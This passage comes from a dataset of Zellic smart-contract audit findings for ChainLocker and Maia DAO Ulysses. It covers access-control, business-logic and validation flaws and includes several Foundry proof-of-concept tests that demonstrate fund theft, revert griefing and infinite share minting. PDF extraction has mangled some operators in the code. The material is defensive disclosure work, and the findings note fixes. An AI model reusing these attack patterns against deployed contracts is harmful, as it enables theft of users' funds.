Zellic Audit Report.pdf" + }, + { + "title": "3.2 The function updateBuyer does not update the amountDepos ited mapping", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker, EthLocker Category: Business Logic Likelihood: Medium Severity: Critical : High If the buyer global variable is set, the buyer can update the current buyer to a new address using the function updateBuyer. Updating the buyer using this function does not update the amountDeposited mapping. In case a buyer updates this address to a new buyer address, the seller could reject the old buyer using the rejectDepositor function to set the buyer to address(0) and deposited to false without returning any tokens. They can then deposit tokens in the locker themselves to become the new buyer and wait until expirationTime has passed to steal these tokens. The vulnerability can be demonstrated using the following Foundry test code: function teststealfrombuyer() public{ address buyer1 = vm.addr(0x1337); address buyer2 = vm.addr(0x1338); address seller1 = vm.addr(0x1339); vm.label(buyer1,\u201dbuyer1\u201d); vm.label(buyer2,\u201dbuyer2\u201d); vm.label(seller1,\u201dseller1\u201d); vm.deal(buyer1, 10 ether); vm.deal(seller1, 1 ether); console.log(\u201dBalance of seller before attack\u201d,seller1.balance); openEscrowTest = new EthLocker( true, true, 0, 0, 0, 10 ether, 20 ether, expirationTime, payable(seller1), buyer, Zellic ChainLocker LLC address(0) ); address payable _newContract = payable(address(openEscrowTest)); vm.startPrank(buyer1); (bool _success, ) = _newContract.call{value: 10 ether}(\u201d\u201d); openEscrowTest.updateBuyer(payable(buyer2)); vm.stopPrank(); vm.startPrank(seller1); openEscrowTest.rejectDepositor(payable(buyer2)); (_success, ) = _newContract.call{value: 1 ether}(\u201d\u201d); vm.warp(block.timestamp + expirationTime); openEscrowTest.checkIfExpired(); console.log(\u201dBalance of seller after attack\u201d,seller1.balance); } A seller can steal the tokens deposited by the buyers if the buyers update their address using the updateBuyer function. Correctly update the mapping amountDeposited by moving the value stored from the previous buyer to the new buyer. ChainLocker LLC acknowledged this finding and implemented a fix in commits 7d5c0a23 , 9ebb93f8 , 78339ea0 , 7aa15e05 , e18f2732 and 142300b6 Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Buyers can prevent themselves from being rejected", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker, EthLocker Category: Business Logic Likelihood: High Severity: High : High Upon depositing funds into TokenLocker or EthLocker, the seller gains the ability to decline the depositor\u2019s request, leading to a refund of the deposited amount via the rejectDepositor function. This function internally triggers either safeTransferETH or safeTransfer, depending on whether it is being called from EthLocker or TokenLocker, respectively. In the case of EthLocker, an issue arises when safeTransferETH is called, as it would internally call the fallback function if a buyer is a contract; the buyer can purposefully call revert in the fallback function, causing the entire call to be reverted. Thus, a buyer can prevent themselves from being rejected by the seller. Following is the code of the rejectDepositor function: function rejectDepositor(address payable _depositor) external nonReentrant { if (msg.sender !) seller) revert EthLocker_NotSeller(); if (!openOffer) revert EthLocker_OnlyOpenOffer(); /) reset 'deposited' and 'buyer' variables if 'seller' passed 'buyer' as '_depositor' if (_depositor =) buyer) { delete deposited; delete buyer; emit EthLocker_BuyerUpdated(address(0)); } uint256 _depositAmount = amountDeposited[_depositor]; /) regardless of whether '_depositor' is 'buyer', if the address has a positive deposited balance, return it to them if (_depositAmount > 0) { delete amountDeposited[_depositor]; safeTransferETH(_depositor, _depositAmount); emit EthLocker_DepositedAmountTransferred( _depositor, _depositAmount ); Zellic ChainLocker LLC } } The vulnerability can be demonstrated using the following Foundry test code: function testfakebuyerrejection() public{ fakebuyer fakebuyer1 = new fakebuyer(); address seller1 = vm.addr(0x1339); vm.deal(address(fakebuyer1), 10 ether); vm.deal(seller1, 10 ether); openEscrowTest = new EthLocker( true, true, 0, 0, 0, 10 ether, 20 ether, expirationTime, payable(seller1), buyer, address(0) ); address payable _newContract = payable(address(openEscrowTest)); vm.prank(address(fakebuyer1)); (bool _success, ) = _newContract.call{value: 10 ether}(\u201d\u201d); vm.startPrank(seller1); openEscrowTest.rejectDepositor(payable(fakebuyer1)); /) This call would revert. } /) The fake buyer contract contract fakebuyer{ constructor() {} fallback() payable external { revert(); } } Zellic ChainLocker LLC A similar issue arises in TokenLocker if any ERC-777/ERC-677 (extensions of ERC-20) tokens are used, as the buyer can revert during the callback of the safeTransfer call and prevent themselves from being rejected. Buyers can prevent themselves from being rejected by the seller. Implement a shift from the push method to the pull pattern. In other words, rather than executing fund transfers within the rejectDepositor function, it is possible to adopt a mechanism where a mapping is updated for the depositor that would indicate the amount of funds they are authorized to withdraw. Subsequently, the depositor can engage a distinct function that leverages this mapping to execute the fund transfer to themselves. This approach ensures that a buyer\u2019s actions cannot obstruct the reject Depositor call. ChainLocker LLC acknowledged this finding and implemented a fix in commits fe6a23a4 , 78339ea0, 2c981487 and 142300b6 Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Irrevertible loss of tokens", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker, EthLocker Category: Business Logic Likelihood: Low Severity: High : Medium When a seller decides to reject a buyer, the designated buyer address is set to address (0). However, complications may arise in scenarios where a buyer employs different addresses to send tokens into the locker. In such cases, there is a possibility that residual tokens could remain within the contract without being fully returned to the buyer. In the event that the timestamp surpasses the defined expirationTime, a potentially malicious third party could cause an irreversible loss of tokens. By invoking the check IfExpired function, any remaining funds in the locker could be transferred to address (0). This action holds true in instances where the locker allows refunds. Yet, even in cases where the locker does not facilitate refunds, a substantial portion of funds might still be at risk of loss. Regardless of the circumstances, the outcome could involve an irreversible loss of tokens. The vulnerability can be demonstrated using the following Foundry test code: function testrejectandtokenloss() public { address buyer1 = vm.addr(0x1337); address buyer2 = vm.addr(0x1338); address seller1 = vm.addr(0x1339); vm.deal(buyer1, 10 ether); vm.deal(buyer2, 10 ether); vm.deal(seller1, 10 ether); openEscrowTest = new EthLocker( true, true, 0, 0, 0, 10 ether, 20 ether, expirationTime, payable(seller1), Zellic ChainLocker LLC buyer, address(0) ); address payable _newContract = payable(address(openEscrowTest)); vm.prank(buyer1); (bool _success, ) = _newContract.call{value: 5 ether}(\u201d\u201d); vm.prank(buyer2); (_success, ) = _newContract.call{value: 10 ether}(\u201d\u201d); vm.startPrank(seller1); openEscrowTest.rejectDepositor(payable(buyer2)); vm.warp(block.timestamp + expirationTime); openEscrowTest.checkIfExpired(); } There might be an irreversible loss of tokens. It is recommended to check the buyer address before transferring funds to it. ChainLocker LLC acknowledged this finding and implemented a fix in commits 6305b605 and df8d0003 Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - Zellic Audit Report.pdf" + }, + { + "title": "3.5 The variable buyerApproved is not set to false if the buyer is rejected", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker and EthLocker Category: Business Logic Likelihood: Medium Severity: Medium : Medium When a buyer is rejected by the seller, it is recommended to set the variable buyerAp proved to false. If not, the function execute is still callable, even if there is no buyer in the system. The function execute might be called even if there is no buyer. We recommend to set buyerApproved to false in rejectDepositor if _depositor =) bu yer. ChainLocker LLC acknowledged this finding and implemented a fix in commits ad330599 and 31904b2f Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Griefing in checkIfExpired", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker, EthLocker Category: Business Logic Likelihood: Medium Severity: Medium : Medium If a locker is nonrefundable and expirationTime has passed, it is possible to call check IfExpired to transfer the deposit amount to the seller and any remaining funds to the buyer. It is possible for the buyer or the seller to intentionally revert this transaction. The vulnerability here is similar to the one as shown in 3.3. In the case of EthLocker, an issue arises when safeTransferETH is called, as it would internally call the fallback function if the buyer/seller is a contract, and a buyer/seller can purposefully call revert in the fallback function, causing the entire call to be re- verted. A similar issue arises in TokenLocker if any ERC-777/ERC-677 (extensions of ERC-20) tokens are used, as the buyer/seller can revert during the callback of the safeTransfer call. Both the buyer and the seller possess the capability to impede the transfer of funds in checkIfExpired if the locker is nonrefundable. Implement a shift from the push method to the pull pattern as recommended in 3.3. ChainLocker LLC acknowledged this finding and implemented a fix in commits fe6a23a4 and 2c981487 Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Missing access control for Multicall", + "labels": [ + "Zellic" + ], + "body": "Target: MulticallRootRouter Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The function anyExecuteSignedDepositMultiple lacks the requiresAgent modifier, which makes it callable by anyone. function anyExecuteSignedDepositMultiple( bytes1 funcId, bytes memory rlpEncodedData, DepositMultipleParams calldata, address userAccount, uint24 fromChainId ) external payable returns (bool success, bytes memory result) {...))} Depending on the funcId, multiple things can happen, but IVirtualAccount(userAcco unt).call(calls) is always called on the userAccount input. If this is an actual VirtualAccount implementation, the call() function will revert, since it is protected by a requiresApprovedCaller modifier, and this approval is toggled on and off by RootBridgeAgent.sol calling IPort(localPortAddress).toggleVirtualAcco untApproved(...))) before and after the call to anyExecuteSignedDepositMultiple. An attacker can pick their own contract that pretends to be a VirtualAccount and make calls to, for example, call(...))) or withdrawERC20(...))) successful. This in itself is not helpful for an attacker, but for funcId 0x02 and 0x03, there are calls to the internal functions _approveAndCallOut(...))) and _approveMultipleAndCallOut( ...))). The attacker controls all parameters going into these functions. This ends up transferring tokens from Root to Branch, then sending or minting money to the re- ceiver. Using a fake VirtualAccount contract, a user can steal tokens from the Root by directly calling anyExecuteSignedDepositMultiple(...))). Note that this full chain is hard to ver- ify because it relies on several encoded structures and dependencies, so there is no proof of concept for this attack. Zellic Maia DAO Add a requiresAgent modifier to the anyExecuteSignedDepositMultiple function. This issue has been acknowledged by Maia DAO, and fixes were implemented in the following commits: ca057685 42c35522 Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Multitoken lacks validations", + "labels": [ + "Zellic" + ], + "body": "Target: ERC4626MultiToken Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Several functions within ERC4626MultiToken.sol lack necessary validations, which can result in the loss of funds or broken contracts. This contract is similar to the Solmate implementation of ERC4626, but it differs in that it allows for the trading of multiple (weighted) assets instead of just one. This is implemented by replacing the uint256 assets argument with a uint256[] memory assetsAmounts array. The deposit function calls multiple functions, each of which iterates based on the length of the assetsAmounts input array. However, this array is never checked to en- sure that it is equal to assets.length. The function then calculates the amount of shares by calling previewDeposit(assetsAmounts), which is a wrapper for convertToS hares. function convertToShares(uint256[] memory assetsAmounts) public view virtual returns (uint256 shares) { uint256 _totalWeights = totalWeights; uint256 length = assetsAmounts.length; shares = type(uint256).max; for (uint256 i = 0; i < length;) { uint256 share = assetsAmounts[i].mulDiv(_totalWeights, weights[i]); if (share < shares) shares = share; unchecked { i+); /) @audit +)i } } } Here, the shares variable is calculated based on the smallest possible share = asse tsAmounts[i] * _totalWeights / weights[i]. After this, the receiveAssets(assetsAm ounts) function is called to actually transfer the assets to the contract. However, if the assetsAmounts.length =) 0, shares will be type(uint256).max. Lastly, it mints the amount of shares and awards this to the receiver. Zellic Maia DAO Upon calling the redeem function, a user can present their shares and get back a mix of assets based on the weights, despite only depositing a subset of the assets (or none at all). Additionally, the constructor does not verify that weights are nonzero nor that the length of assets and weights are equal. A test case that proves this behavior was implemented inside UlyssesTokenHandler.t .sol, function test_poc_deposit() public virtual { address addr = 0xaAaAaAaaAaAaAaaAaAAAAAAAAaaaAaAaAaaAaaAa; uint[] memory assets; console.log(UlyssesToken(_vault_).deposit(assets, addr)); } where the output is Running 1 test for test/2-audit/ulysses- amm/UlyssesTokenTest.t.sol:InvariantUlyssesToken [PASS] test_poc_deposit() (gas: 62631) Logs: Test result: ok. 1 passed; 0 failed; finished in 1.19ms This shows that one can mint infinite shares without depositing any assets. If a zero-length assetsAmounts is allowed, users can obtain infinite shares for free. This lets them drain the contract. Since the lengths of assetsAmounts and assets are not synchronized, it is possible to add a single asset, get shares, then redeem multiple assets after. Since the lowest amount of shares is picked, a user that sends an uneven amount of tokens could get less shares than expected. This can be exacerbated by the weights changing before the transaction is included in the block, where there is no slippage protection parameter. For the constructor validation issues, the contract will break if one of the weights are zero, as it divides by the weight when withdrawing. Zellic Maia DAO Check that assetsAmounts and assets have the same length in every location and disal- low empty arrays where it can skip important loops. Add validation in the constructor to ensure that the contract cannot be initialized in a way that breaks functionality in the future. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit df6b941b. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Multiple redeems of the same deposit are possible", + "labels": [ + "Zellic" + ], + "body": "Target: BranchBridgeAgent Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The redeemDeposit function currently allows any caller to initiate the withdrawal of a deposit that is in a Failed status. The caller has control over the associated _depositNo nce value, which includes information such as the hToken addresses and amounts, the underlying addresses and amounts of deposited tokens, and the owner of the deposit who will receive the funds. Once the funds have been successfully withdrawn, the deposit data is not reset or modified in any way, which means that it is possible to call the function again with the same identifier. function redeemDeposit(uint32 _depositNonce) external lock { /)Update Deposit if (getDeposit[_depositNonce].status !) DepositStatus.Failed) { revert DepositRedeemUnavailable(); } _redeemDeposit(_depositNonce); } function _redeemDeposit(uint32 _depositNonce) internal { /)Get Deposit Deposit storage deposit = _getDepositEntry(_depositNonce); /)Transfer token to depositor / user for (uint256 i = 0; i < deposit.hTokens.length;) { if (deposit.amounts[i] - deposit.deposits[i] > 0) { IPort(localPortAddress).bridgeIn( deposit.owner, deposit.hTokens[i], deposit.amounts[i] - deposit.deposits[i] ); } IPort(localPortAddress).withdraw(deposit.owner, deposit.tokens[i], deposit.deposits[i]); unchecked { Zellic Maia DAO +)i; } } IPort(localPortAddress).withdraw(deposit.owner, address(wrappedNativeToken), deposit.depositedGas); } If a cross-chain call fails, and the status of deposit will be set to Failed, the depositor will be able to withdraw all the _underlyingAddress tokens deposited to the localPor- tAddress contract. After a successful withdrawal, update the status of the deposit and reset the amounts of deposited funds or delete the deposit information from storage altogether. This will help prevent any repeated withdrawal of funds and ensure that the contract state accurately reflects the state of the deposits. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit a0dd0311. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Broken fee sweep", + "labels": [ + "Zellic" + ], + "body": "Target: RootBridgeAgent Category: Coding Mistakes Likelihood: High Severity: High : Critical Whenever execution gas is paid in _payExecutionGas(...))), a fee is taken and stored in the global accumulatedFees. To withdraw these fees, the function sweep() is called by the designated daoAddress, and the fees are then supposed to be reset afterwards. function sweep() external { if (msg.sender !) daoAddress) revert UnauthorizedCaller(); accumulatedFees = 0; SafeTransferLib.safeTransferETH(daoAddress, accumulatedFees); } However, accumulatedFees is reset before the token transfer. Fees are stuck in the RootBridgeAgent. It is impossible to extract these from the con- tract. Move the accumulatedFees reset below the transfer call, but also consider the need for reentrancy guards. A temporary variable was introduced to mirror the accumulated fees, and the global is still reset before the transfer to avoid reentrancy guards. This issue has been ac- knowledged by Maia DAO, and a fix was implemented in commit 23c47122. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Asset removal is broken", + "labels": [ + "Zellic" + ], + "body": "Target: UlyssesToken.sol Category: Coding Mistakes Likelihood: High Severity: High : High The function removeAsset(address asset) removes an asset from the global assets[] and weights[] arrays and updates some globals. function removeAsset(address asset) external nonReentrant onlyOwner { /) No need to check if index is 0, it will underflow and revert if it is 0 uint256 assetIndex = assetId[asset] - 1; if (assets.length =) 1) revert CannotRemoveLastAsset(); /) Remove asset from array for (uint256 i = assetIndex; i < assets.length; i+)) { assets[i] = assets[i + 1]; weights[i] = weights[i + 1]; } totalWeights -= weights[assetIndex]; assets.pop(); weights.pop(); assetId[asset] = 0; ...)) } This is done by looking up the index of the asset in assetId, then moving all assets and weights down by one index. Finally, totalweights is supposed to be reduced by the weight of the removed asset, and the duplicated value at the end is popped off. However, there are multiple issues with this implementation. The loop increments i to assets.length but indexes into i+1, which will go be- yond the length of the array and revert. Global totalWeights is reduced after the target asset and weight has been over- written, reducing the totalWeights by a different weight than intended. Zellic Maia DAO The assetId mapping is supposed to point to the index of a given asset, but these indices ares not updated when all the positions shift around. While not unsolveable, adding too many assets can make it impossible to re- move one of the lower-index assets due to gas cost. Removing higher-index assets would be possible still, and multiple such operations could reduce the gas cost for a lower index too. It is impossible to remove assets. Even if it worked, the weights would be wrong after removing an asset. Due to assetId not updating, removing an asset in the future will remove the wrong asset \u2014 or cause the transaction to revert. Loop to assets.length-1. Update totalWeights before removing the weights. Update the assetId mapping. Create test cases for the function. This issue has been acknowledged by Maia DAO, and fixes were implemented in the following commits: 3d317ac6 f116e00e Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Unsupported function codes", + "labels": [ + "Zellic" + ], + "body": "Target: CoreBranchRouter Category: Coding Mistakes Likelihood: High Severity: High : High Several functions from CoreBranchRouter perform an external call to IBridgeAgent(l ocalBridgeAgentAddress).performSystemCallOut; below is an example of this kind of call. The data generated from user input is encoded with a byte responsible for the type of function to be executed as a result of cross-chain communication. In this case, the byte 0x01 is responsible for adding a new global token. contract CoreBranchRouter is BaseBranchRouter { ...)) function addGlobalToken( address _globalAddress, uint256 _toChain, uint128 _remoteExecutionGas, uint128 _rootExecutionGas ) external payable { bytes memory data = abi.encode(address(this), _globalAddress, _toChain, _rootExecutionGas); bytes memory packedData = abi.encodePacked(bytes1(0x01), data); IBridgeAgent(localBridgeAgentAddress).performSystemCallOut{value: msg.value}( msg.sender, packedData, _remoteExecutionGas ); } ...)) } The performSystemCallOut function encodes the user\u2019s data using a byte 0x00 that de- termines the type of function to be called within the RootBridgeAgent contract. The resulting encoded data is then passed for execution. function performSystemCallOut(address depositor, bytes calldata params, uint128 rootExecutionGas) Zellic Maia DAO external payable lock requiresRouter requiresFallbackGas { bytes memory data = abi.encodePacked(bytes1(0x00), depositNonce, params, msg.value.toUint128(), rootExecutionGas); _depositAndCall(depositor, data, address(0), address(0), 0, 0); /) -> IRootBridgeAgent(rootBridgeAgentAddress).anyExecute(_callData); } During execution, the data will be decoded in the anyExecute function. The 0x00 byte corresponds to the execution of the IRouter(localRouterAddress).anyExecuteRespon se function, which will be called with the decoded data. contract RootBridgeAgent is IRootBridgeAgent { function anyExecute(bytes calldata data) external virtual requiresExecutor returns (bool success, bytes memory result) { ...)) bytes1 flag = data[0]; if (flag =) 0x00) { IRouter(localRouterAddress).anyExecuteResponse(bytes1(data[5]), data[6:data.length - PARAMS_GAS_IN], fromChainId); } else if (flag =) 0x01) { IRouter(localRouterAddress).anyExecute(bytes1(data[5]), data[6:data.length - PARAMS_GAS_IN], fromChainId); emit LogCallin(flag, data, fromChainId); } ...)) } ...)) } But the current implementation of localRouterAddress.anyExecuteResponse supports Zellic Maia DAO only the 0x02 and 0x03 function IDs. Therefore, for the above example with addGlobal Token (0x01 funcId), the anyExecuteResponse will return a false status with an unknown selector message. contract CoreRootRouter is IRootRouter, Ownable { ...)) function anyExecuteResponse(bytes1 funcId, bytes calldata encodedData, uint24 fromChainId) external payable override requiresAgent returns (bool, bytes memory) { ///)) FUNC ID: 2 (_addLocalToken) if (funcId =) 0x02) { (address underlyingAddress, address localAddress, string memory name, string memory symbol) = abi.decode(encodedData, (address, address, string, string)); _addLocalToken(underlyingAddress, localAddress, name, symbol, fromChainId); emit LogCallin(funcId, encodedData, fromChainId); ///)) FUNC ID: 3 (_setLocalToken) } else if (funcId =) 0x03) { (address globalAddress, address localAddress) = abi.decode(encodedData, (address, address)); _setLocalToken(globalAddress, localAddress, fromChainId); emit LogCallin(funcId, encodedData, fromChainId); ///)) Unrecognized Function Selector } else { return (false, \u201dunknown selector\u201d); } return (true, \u201d\u201d); } ...)) } Zellic Maia DAO Another example of a function from CoreBranchRouter that cannot be executed is sync BridgeAgent. This function corresponds to an identifier 0x04 that is also not supported by anyExecuteResponse. contract CoreBranchRouter is BaseBranchRouter { ...)) function syncBridgeAgent(address _newBridgeAgentAddress, address _rootBridgeAgentAddress) external payable { if (!IPort(localPortAddress).isBridgeAgent(_newBridgeAgentAddress)) { } revert UnrecognizedBridgeAgent(); bytes memory data = abi.encode(_newBridgeAgentAddress, _rootBridgeAgentAddress); bytes memory packedData = abi.encodePacked(bytes1(0x04), data); IBridgeAgent(localBridgeAgentAddress).performSystemCallOut{value: msg.value}(msg.sender, packedData, 0); } ...)) } Calling functions that are not supported by the final executor can result in the loss of funds paid for gas and can disrupt the operation of user applications waiting for successful cross-chain function execution. The anyExecute function supports function IDs 0x04 and 0x01. In order to call this function as a result of cross-chain communication, the addGlobalToken and syncBridg eAgent functions should call IBridgeAgent(localBridgeAgentAddress).performCallOut instead of IBridgeAgent(localBridgeAgentAddress).performSystemCallOut. This ensures that the 0x01 flag is encapsulated in the data, allowing the IRouter(loca lRouterAddress).anyExecute function to be called upon decoding. Zellic Maia DAO function anyExecute(bytes1 funcId, bytes calldata encodedData, uint24 fromChainId) external payable override requiresAgent returns (bool, bytes memory) { ///)) FUNC ID: 1 (_addGlobalToken) if (funcId =) 0x01) { (address branchRouter, address globalAddress, uint24 toChain, uint128 remoteExecutionGas) = abi.decode(encodedData, (address, address, uint24, uint128)); _addGlobalToken(remoteExecutionGas, globalAddress, branchRouter, toChain); emit LogCallin(funcId, encodedData, fromChainId); ///)) FUNC ID: 4 (_syncBranchBridgeAgent) } else if (funcId =) 0x04) { (address newBranchBridgeAgent, address rootBridgeAgent) = abi.decode(encodedData, (address, address)); _syncBranchBridgeAgent(newBranchBridgeAgent, rootBridgeAgent, fromChainId); emit LogCallin(funcId, encodedData, fromChainId); ///)) Unrecognized Function Selector } else { return (false, \u201dunknown selector\u201d); } return (true, \u201d\u201d); } This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit 92ef9cce. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Missing access control on anyExecuteNoSettlement", + "labels": [ + "Zellic" + ], + "body": "Target: CoreBranchRouter Category: Coding Mistakes Likelihood: High Severity: High : High The anyExecuteNoSettlement function is responsible for executing a cross-chain re- quest. It is supposed to be called from the anyExecute function in the BranchBridgeAgent contract. But since the function has no caller verification, anyone can execute it. function anyExecuteNoSettlement(bytes memory _data) external virtual override returns (bool success, bytes memory result) { if (_data[0] =) 0x01) { (, address globalAddress, string memory name, string memory symbol, uint128 gasToBridgeOut) = abi.decode(_data, (bytes1, address, string, string, uint128)); _receiveAddGlobalToken(globalAddress, name, symbol, gasToBridgeOut); ///)) Unrecognized Function Selector } else if (_data[0] =) 0x01) { /)@audit unreachable branch (, address newBridgeAgentFactoryAddress) = abi.decode(_data, (bytes1, address)); _receiveAddBridgeAgentFactory(newBridgeAgentFactoryAddress); ///)) Unrecognized Function Selector } else { return (false, \u201dunknown selector\u201d); } return (true, \u201d\u201d); } Zellic Maia DAO Note that there is an error in the current implementation of the anyExecuteNoSettlem ent function that does not allow calling the function _receiveAddBridgeAgentFactory, since the else if branch cannot be executed. This is because both branches check the equality of _data[0] to 0x01, and the first if will be executed in priority. Since there is no caller verification on the anyExecuteNoSettlement function, any caller is able to execute the _receiveAddGlobalToken function, manipulate the input parame- ters globalAddress, name, symbol, gasToBridgeOut and pass them to the performSyst emCallOut function, which performs a call to the AnycallProxy contract for cross-chain messaging. function _receiveAddGlobalToken( address _globalAddress, string memory _name, string memory _symbol, uint128 _rootExecutionGas ) internal { /)Create Token ERC20hToken newToken = IFactory(hTokenFactoryAddress).createToken(_name, _symbol); /)Encode Data bytes memory data = abi.encode(_globalAddress, newToken); /)Pack FuncId bytes memory packedData = abi.encodePacked(bytes1(0x03), data); /)Send Cross-Chain request IBridgeAgent(localBridgeAgentAddress).performSystemCallOut{value: _rootExecutionGas}( address(this), packedData, 0 ); } Next, as a result of cross-chain communication, the anyExecuteResponse function will be executed and the globalAddress, controlled by the anyExecuteNoSettlement caller, will be passed to the IPort(rootPortAddress).setLocalAddress function. Zellic Maia DAO contract CoreRootRouter is IRootRouter, Ownable { ...)) function anyExecuteResponse(bytes1 funcId, bytes calldata encodedData, uint24 fromChainId) external payable override requiresAgent returns (bool, bytes memory) { ...)) } else if (funcId =) 0x03) { (address globalAddress, address localAddress) = abi.decode(encodedData, (address, address)); _setLocalToken(globalAddress, localAddress, fromChainId); ...)) } function _setLocalToken(address _globalAddress, address _localAddress, uint24 _toChain) internal { IPort(rootPortAddress).setLocalAddress(_globalAddress, _localAddress, _toChain); } } The setLocalAddress function currently allows modifications to the getGlobalAddress FromLocal and getLocalAddressFromGlobal mappings without any checks. This means that the existing getLocalAddressFromGlobal[_fromChain][_globalAddress] value can be overwritten. function setLocalAddress(address _globalAddress, address _localAddress, uint24 _fromChain) external requiresCoreBridgeAgent { getGlobalAddressFromLocal[_fromChain][_localAddress] = _globalAddress; getLocalAddressFromGlobal[_fromChain][_globalAddress] = _localAddress; } Zellic Maia DAO The requiresBridgeAgent modifier should be used to prevent anyone from calling the anyExecuteNoSettlement function. The requiresBridgeAgent modifier was added in commit c73b4c5d. The implementation of the anyExecuteNoSettlement function was fixed in commits d588989e and 92ef9cce. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.9 The protocol fee from pools will be claimed to zero address", + "labels": [ + "Zellic" + ], + "body": "Target: UlyssesFactory Category: Coding Mistakes Likelihood: High Severity: High : High The UlyssesFactory contract enables the creation of new pools contracts and sets its own address as the factory address. Protocol fees collected from the pool contracts are transferred to the owner of the factory. However, the _initializeOwner function is not called in the factory contract, resulting in the factory.owner() returning addres s(0). function claimProtocolFees() external nonReentrant onlyOwner returns (uint256 claimed) { claimed = getProtocolFees(); if (claimed > 0) { asset.safeTransfer(factory.owner(), claimed); } } Since the owner of the UlyssesFactory contract is not set during its creation, it will not be possible to change the owner at a later time. This means that it will also not be possible to withdraw the protocol fee from pool contracts, as the factory.owner() function will return the zero address address(0). In addition, the fee amount cannot be changed, because the setProtocolFee is allowed to be called only by factory.owner(). function setProtocolFee(uint256 _protocolFee) external nonReentrant { if (msg.sender !) factory.owner()) revert Unauthorized(); /) Revert if the protocol fee is larger than 1% if (_protocolFee > MAX_PROTOCOL_FEE) revert InvalidFee(); protocolFee = _protocolFee; } Zellic Maia DAO Pass the owner\u2019s address to the UlyssesFactory constructor and set the owner using the _initializeOwner function. This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit bd2054cb. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Unlimited cross-chain asset transfer without deposit re- quirement", + "labels": [ + "Zellic" + ], + "body": "Target: RootBridgeAgent Category: Coding Mistakes Likelihood: High Severity: High : High The callOutAndBridge function facilitates the transfer of assets from the root chain to the branch omnichain environment and creates a Settlement object that contains information about the amount of tokens and the addresses involved in the transfer. In the event that the cross-chain call fails or reverts, the anyFallback function is called to reopen the Settlement object and set its status to Pending. This enables a retry through the clearSettlement function. function clearSettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable { /)Update User Gas available. if (initialGas =) 0) { userFeeInfo.depositedGas = uint128(msg.value); userFeeInfo.gasToBridgeOut = _remoteExecutionGas; } /)Clear Settlement with updated gas. _clearSettlement(_settlementNonce); } The clearSettlement function initiates resending of a failed cross-chain transfer by calling the internal _clearSettlement function. The status of the settlement object is checked to ensure that it is currently in a Pending state before attempting to resend. If the resend is successful, the status of the temporary settlement variable is set to Suc cess. However, it is important to note that the status of the actual Settlement object is not changed during the execution of this function and will remain as Pending. function _clearSettlement(uint32 _settlementNonce) internal requiresFallbackGas { /)Get settlement Settlement memory settlement = _getSettlementEntry(_settlementNonce); Zellic Maia DAO /)Require Status to be Pending require(settlement.status =) SettlementStatus.Pending); /)Update Settlement settlement.status = SettlementStatus.Success; /)Slice last 4 bytes calldata uint128 prevGasToBridgeOut = uint128(bytes16(BytesLib.slice(settlement.callData, settlement.callData.length - 16, 16))); /)abi encodePacked bytes memory newGas = abi.encodePacked(prevGasToBridgeOut + _manageGasOut(settlement.toChain)); /)overwrite last 16bytes of callData for (uint256 i = 0; i < newGas.length;) { settlement.callData[settlement.callData.length - 16 + i] = newGas[i]; unchecked { +)i; } } /)Set Settlement getSettlement[_settlementNonce].callData = settlement.callData; /)Retry call with additional gas _performCall(settlement.callData, settlement.toChain); } Users will be able to move assets from the root chain to the branch omnichain envi- ronment without depositing additional funds. We recommend implementing the status change as shown below: function _clearSettlement(uint32 _settlementNonce) internal requiresFallbackGas { /)Get settlement Zellic Maia DAO Settlement memory settlement = _getSettlementEntry(_settlementNonce); /)Require Status to be Pending require(settlement.status =) SettlementStatus.Pending); /)Update Settlement settlement.status = SettlementStatus.Success; getSettlement[_settlementNonce].status = SettlementStatus.Success; ...)) This issue has been acknowledged by Maia DAO, and a fix was implemented in com- mit 073012d1. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO Ulysses Protocol May 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.11 ChainId type confusion", + "labels": [ + "Zellic" + ], + "body": "Target: CoreBranchRouter, RootBridgeAgent, 